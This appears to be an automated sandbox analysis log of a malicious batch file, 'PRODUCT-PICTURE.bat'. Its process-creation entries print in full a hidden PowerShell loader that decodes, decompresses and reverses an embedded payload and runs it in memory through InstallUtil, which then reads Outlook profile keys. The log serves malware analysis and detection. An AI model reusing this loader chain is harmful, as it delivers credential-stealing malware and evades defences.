Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\IV.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo F "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\AppData\Roaming\IV.bat.Usq
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +h C:\Users\user\AppData\Roaming\IV.bat.Usq
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\IV.bat.Usq C:\Users\user\AppData\Roaming\IV.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\AppData\Roaming\IV.bat' \| Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)\| Out-Null"
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo F "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +h C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' \| Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)\| Out-Null"	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\IV.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo F "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\AppData\Roaming\IV.bat.Usq	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +h C:\Users\user\AppData\Roaming\IV.bat.Usq	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\IV.bat.Usq C:\Users\user\AppData\Roaming\IV.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\AppData\Roaming\IV.bat' \| Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)\| Out-Null"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: atl.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: wshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\xcopy.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: atl.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: wshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: PRODUCT-PICTURE.bat

Static file information: File size 1512865 > 1048576

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005189000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1716569673.0000000008E30000.00000004.08000000.00040000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000005200000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005189000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1716569673.0000000008E30000.00000004.08000000.00040000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000005200000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdbUGP source: PRODUCT-PICTURE.bat.Usq, 00000006.00000000.1671765662.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, IV.bat.Usq, 0000000F.00000000.1808657724.0000000000F78000.00000020.00000001.01000000.00000009.sdmp, IV.bat.Usq.13.dr, PRODUCT-PICTURE.bat.Usq.4.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdb source: PRODUCT-PICTURE.bat.Usq, 00000006.00000000.1671765662.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, IV.bat.Usq, 0000000F.00000000.1808657724.0000000000F78000.00000020.00000001.01000000.00000009.sdmp, IV.bat.Usq.13.dr, PRODUCT-PICTURE.bat.Usq.4.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, JgwjO5IGcWdA32KQ9V2.cs

